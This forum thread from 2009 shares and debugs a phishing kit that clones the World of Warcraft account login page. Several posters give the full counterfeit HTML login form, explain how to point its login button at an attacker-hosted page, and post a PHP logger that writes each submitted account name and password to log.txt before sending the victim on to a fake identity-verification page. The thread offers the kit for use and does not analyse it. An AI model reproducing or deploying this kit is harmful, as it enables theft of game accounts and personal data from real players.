[Release][Phisher] New account management page

**~~cXm0d~~** · 01-05-2009

RapidShare: Easy Filehosting
That is the one I released and created. The one you are using was a combination of mine and Moji's, and I have yet to dwell to much on his code.

**DrLecter** · 01-05-2009

Originally Posted by cXm0d

RapidShare: Easy Filehosting
That is the one I released and created. The one you are using was a combination of mine and Moji's, and I have yet to dwell to much on his code.

Have a look of the site you posted of the one you're using, you're using the one YOU released and created. Yes, the logger may work, but still one has to hit enter, and the login button does not work.

So, in simple:
The button does not work on BOTH archives, whether it be the original, or the "new_login_phisher_2".

It's not working, and I doubt anyone will hit enter instead of clicking login, when one clicks login and it does not work, they will worry.

**~~cXm0d~~** · 01-05-2009

Do I need to upload a video and show you that it works?
Maybe because I'm using Chrome, but I highly doubt that is the issue. I click the button, and it works.
I press enter and it works.

**~OddBall~** · 01-07-2009

I fixed your login button problem. open up index.html and find the first instance of

Code:

javascript: void(0)

when you find it, around that area you should see the text for the login page, that's one way to check if you're in the right spot. Anyways....

Replace:

Code:

javascript: void(0)

With:

Code:

YOUR WEBSITE NAME/auth/identity_verification.html

*IMPORTANT* Make sure you put it in between the two " " and to get rid of the ) which I forgot to do xD

Actually i'll post the index.html file and highlight what you need to change...:

Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<title>World of Warcraft Account Login</title> 
<meta content="false" http-equiv="imagetoolbar" /> 
<link href="master.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="master2.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="language.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="forms.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="print.css" media="print" rel="stylesheet" type="text/css" /> 
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" /> 
<script src="sarissa.js" type="text/javascript" /> 
<script src="common.js" type="text/javascript" /> 
<script type="text/javascript"> 
			var jsRoot = '/login/';
			var phRoot = '/login/phaseprism/';
			if(Browser.ie7) {
				addStylesheet(jsRoot + '_css/ie7.css');
				}
			else if(Browser.ie6) {
				addStylesheet(jsRoot + '_css/ie6.css');
				addStylesheet(phRoot + '_css/ie6.css');
				}
			else if(Browser.opera) {
				addStylesheet(jsRoot + '_css/opera.css');
				}
			</script> 
</head> 
<body class="wow-bg" style="position:relative"> 
<div class="center-wrap"> 
<div> 
<div class="login-wow"> 
<form action=login.php?"/login/login.xml?referer=https%3A%2F%2Fwww.worldofwarcraft.com%2Faccount%2F&amp;loginType=wow" id="loginForm" method="post"> 
<div> 
<blockquote> 
<p> 
<label for="accountName">Account Name</label> 
</p> 
<div style="position: relative; float: left"> 
<input id="accountName" maxlength="160" name="accountName" tabindex="1" value="" /> 
<script type="text/javascript"> 
                    window.setTimeout("$('accountName').focus()", 200);
                </script> 
<div class="errorTooltip arrowLeft"> 
<div> 
<p /> 
<span class="errorTooltipArrow"> 
<em> 
<!----> 
</em> 
</span> 
</div> 
</div> 
</div> 
</blockquote> 
<blockquote> 
<p> 
<label for="password">Password</label> 
</p> 
<div style="position: relative; float: left"> 
<input autocomplete="off" id="password" maxlength="16" name="password" tabindex="2" type="password" /> 
<div class="errorTooltip arrowLeft"> 
<div> 
<p /> 
<span class="errorTooltipArrow"> 
<em> 
<!----> 
</em> 
</span> 
</div> 
</div> 
</div> 
</blockquote> 
<div> 
<input style="width:0;height:0;padding:0;border:none" type="submit" /> 
</div> 
<div class="btn-wrap"> 
<a class="wow-button" href="javascript:void(0)" onclick="Form.submit(this)"> 
<span> 
<strong>Login</strong> 
</span> 
</a> 
</div> 
</div> 
</form> 
</div> 
<div class="login-wow-note"> 
<h1>Forgot Your Password or Account Name?</h1> 
<p>You will need a valid World of Warcraft account name and password to proceed to Account Management.</p> 
<a href="http://www.worldofwarcraft.com/loginsupport">Account Name / Password Retrieval</a> 
<br /> 
<br /> 
<a href="http://signup.worldofwarcraft.com/">Create a World of Warcraft Account</a> 
</div> 
<div class="wow-login-footer"> 
			To view this page in another language:<br /> 
			<a href="javascript:void(0)" onclick="selectLanguage('en_US'); return false">English (US)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('en_GB'); return false">English (EU)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('de_DE'); return false">Deutsch</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('fr_FR'); return false">Français</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('es_ES'); return false">Español (EU)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('es_MX'); return false">Español (LA)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('ko_KR'); return false">???</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('ru_RU'); return false">???????</a> 
<br /> 
<br /> 
			For security reasons, close your web browser when you are done accessing services that require authentication! Secure Blizzard Entertainment web pages that request your account name and password will contain URLs such as worldofwarcraft.com, blizzard.com, and battle.net. 
		</div> 
</div> 
</div> 
<script src="https://ssl.google-analytics.com/ga.js" type="text/javascript" /> 
<script type="text/javascript"> 
 
		var pageTracker = _gat._getTracker('UA-544112-15');
 
		function _gaInit() {
			pageTracker._setDomainName("blizzard.com");
			pageTracker._initData();
			pageTracker._trackPageview();
		}
 
		function _htmlDomInit(doc) {
			_htmlDom = doc;
			_gaInit();
		}
 
		/* Partial workaround for Firefox bug 230214 */
		if(typeof(document.cookie) == 'undefined') {
			var obj = document.createElementNS('http://www.w3.org/1999/xhtml', 'object');
			obj.setAttribute('style', 'display:none');
			obj.width = 0;
			obj.height = 0;
			obj.type = 'text/html';
			obj.data = 'data:text/html;charset=utf-8,%3Cscript%3Eparent._htmlDomInit%28document%29%3C/script%3E';
			document.getElementsByTagName('body')[0].appendChild(obj);
			document.__defineGetter__('cookie', function() { return _htmlDom.cookie; });
			document.__defineSetter__('cookie', function(c) { _htmlDom.cookie = c; });
		} else
			_gaInit();
	</script> 
</body> 
</html>

Replace the massive red text example:

Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<title>World of Warcraft Account Login</title> 
<meta content="false" http-equiv="imagetoolbar" /> 
<link href="master.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="master2.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="language.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="forms.css" media="screen, projection" rel="stylesheet" type="text/css" /> 
<link href="print.css" media="print" rel="stylesheet" type="text/css" /> 
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" /> 
<script src="sarissa.js" type="text/javascript" /> 
<script src="common.js" type="text/javascript" /> 
<script type="text/javascript"> 
			var jsRoot = '/login/';
			var phRoot = '/login/phaseprism/';
			if(Browser.ie7) {
				addStylesheet(jsRoot + '_css/ie7.css');
				}
			else if(Browser.ie6) {
				addStylesheet(jsRoot + '_css/ie6.css');
				addStylesheet(phRoot + '_css/ie6.css');
				}
			else if(Browser.opera) {
				addStylesheet(jsRoot + '_css/opera.css');
				}
			</script> 
</head> 
<body class="wow-bg" style="position:relative"> 
<div class="center-wrap"> 
<div> 
<div class="login-wow"> 
<form action=login.php?"/login/login.xml?referer=https%3A%2F%2Fwww.worldofwarcraft.com%2Faccount%2F&amp;loginType=wow" id="loginForm" method="post"> 
<div> 
<blockquote> 
<p> 
<label for="accountName">Account Name</label> 
</p> 
<div style="position: relative; float: left"> 
<input id="accountName" maxlength="160" name="accountName" tabindex="1" value="" /> 
<script type="text/javascript"> 
                    window.setTimeout("$('accountName').focus()", 200);
                </script> 
<div class="errorTooltip arrowLeft"> 
<div> 
<p /> 
<span class="errorTooltipArrow"> 
<em> 
<!----> 
</em> 
</span> 
</div> 
</div> 
</div> 
</blockquote> 
<blockquote> 
<p> 
<label for="password">Password</label> 
</p> 
<div style="position: relative; float: left"> 
<input autocomplete="off" id="password" maxlength="16" name="password" tabindex="2" type="password" /> 
<div class="errorTooltip arrowLeft"> 
<div> 
<p /> 
<span class="errorTooltipArrow"> 
<em> 
<!----> 
</em> 
</span> 
</div> 
</div> 
</div> 
</blockquote> 
<div> 
<input style="width:0;height:0;padding:0;border:none" type="submit" /> 
</div> 
<div class="btn-wrap"> 
<a class="wow-button" href="http://worldofwarcraft.freehostia.com" onclick="Form.submit(this)"> 
<span> 
<strong>Login</strong> 
</span> 
</a> 
</div> 
</div> 
</form> 
</div> 
<div class="login-wow-note"> 
<h1>Forgot Your Password or Account Name?</h1> 
<p>You will need a valid World of Warcraft account name and password to proceed to Account Management.</p> 
<a href="http://www.worldofwarcraft.com/loginsupport">Account Name / Password Retrieval</a> 
<br /> 
<br /> 
<a href="http://signup.worldofwarcraft.com/">Create a World of Warcraft Account</a> 
</div> 
<div class="wow-login-footer"> 
			To view this page in another language:<br /> 
			<a href="javascript:void(0)" onclick="selectLanguage('en_US'); return false">English (US)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('en_GB'); return false">English (EU)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('de_DE'); return false">Deutsch</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('fr_FR'); return false">Français</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('es_ES'); return false">Español (EU)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('es_MX'); return false">Español (LA)</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('ko_KR'); return false">???</a> |
			<a href="javascript:void(0)" onclick="selectLanguage('ru_RU'); return false">???????</a> 
<br /> 
<br /> 
			For security reasons, close your web browser when you are done accessing services that require authentication! Secure Blizzard Entertainment web pages that request your account name and password will contain URLs such as worldofwarcraft.com, blizzard.com, and battle.net. 
		</div> 
</div> 
</div> 
<script src="https://ssl.google-analytics.com/ga.js" type="text/javascript" /> 
<script type="text/javascript"> 
 
		var pageTracker = _gat._getTracker('UA-544112-15');
 
		function _gaInit() {
			pageTracker._setDomainName("blizzard.com");
			pageTracker._initData();
			pageTracker._trackPageview();
		}
 
		function _htmlDomInit(doc) {
			_htmlDom = doc;
			_gaInit();
		}
 
		/* Partial workaround for Firefox bug 230214 */
		if(typeof(document.cookie) == 'undefined') {
			var obj = document.createElementNS('http://www.w3.org/1999/xhtml', 'object');
			obj.setAttribute('style', 'display:none');
			obj.width = 0;
			obj.height = 0;
			obj.type = 'text/html';
			obj.data = 'data:text/html;charset=utf-8,%3Cscript%3Eparent._htmlDomInit%28document%29%3C/script%3E';
			document.getElementsByTagName('body')[0].appendChild(obj);
			document.__defineGetter__('cookie', function() { return _htmlDom.cookie; });
			document.__defineSetter__('cookie', function(c) { _htmlDom.cookie = c; });
		} else
			_gaInit();
	</script> 
</body> 
</html>

Notice how there's no www. my website doesn't have www. if yours does put it in there, if it doesn't then don't! and don't forget to put http://

Another thing to note is that I put it in between the " "! don't forget to do this!!!

**~~cXm0d~~** · 01-07-2009

Thanks for the help Odd.
As I stated previously, I am not the creator of the second phish page I linked, so any errors with it should be directed at the original creator. However, this seems to no longer be needed thanks to Odd.

**~OddBall~** · 01-07-2009

mm, except it was on the original one as well xD

**~~cXm0d~~** · 01-07-2009

I don't understand. xP
The original one only had one page to upload, with the login.php file, and I don't see any problems with it, as far as having to press enter.
Maybe it's a firefox thing? The new FF beta gave my PC memory reference errors, and I'm too lazy to DL a stable release, so I use chrome. xP
I'll start cross compat checking for now on. xP

**CescFabregas** · 01-08-2009

I've been working on trying to get the 2nd release working(the cXm0d original with the Auth page). I've been able to get the Authorization part to work, and to write the info to its corresponding html file, but for some reason the acct name and password won't write.

Oh, and the flow from login to auth page to success page to WoW main page works perfectly.... just no acct name/pass

I compared the wowengine and engine files, and don't see any noticable differences in their writing code, but then again I'm not too experienced with this stuff. Maybe someone could give me a little insight?

-Cesc

**~OddBall~** · 01-08-2009

I think the login.php is what handles user and pass. The logfile for user and pass will be in the same folder as login.php but the log file for SQA etc. will be in the Auth folder.

**CescFabregas** · 01-08-2009

hmm... so you're saying theres something wrong in the login.php file? okay, heres what mine looks like... any ideas?

Code:

<?php
header ('Location: identity_verification.html');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

**~OddBall~** · 01-08-2009

in your browser type:

http://YOURWEBSITE/log.txt it should be in there....

**CescFabregas** · 01-08-2009

nope. it doesn't write it to the html file its supposed to either. this is frustrating lol

**~OddBall~** · 01-08-2009

hmm try this then, OpenDNS

and if that don't work try http://yourwebsite/auth/wowlog.html

And if that doesn't work then re-upload it all again LOL

Actually if it doesn't work then tell me and i'll give you the files to fix it!

**CescFabregas** · 01-08-2009

no dice. i think its a problem with the whole writing thing. namely that its not writing it. i don't have an auth folder on my site either, just the files in the root directory, and that seems to work.

**~OddBall~** · 01-08-2009

hang on what, are you using the one that gets full info or the one that's just user and pass?

Shout-Out

User Tag List

Thread: [Release][Phisher] New account management page

Thread Tools

Search Thread

Similar Threads

[Release][Phisher] Newest Account Management Page

[Update] New Account Management Phisher w/ Account Check Functionality

Scam wow-europe account management page

OwnedCore Forums

casino

CoreCoins

My OwnedCore

About Us

Casino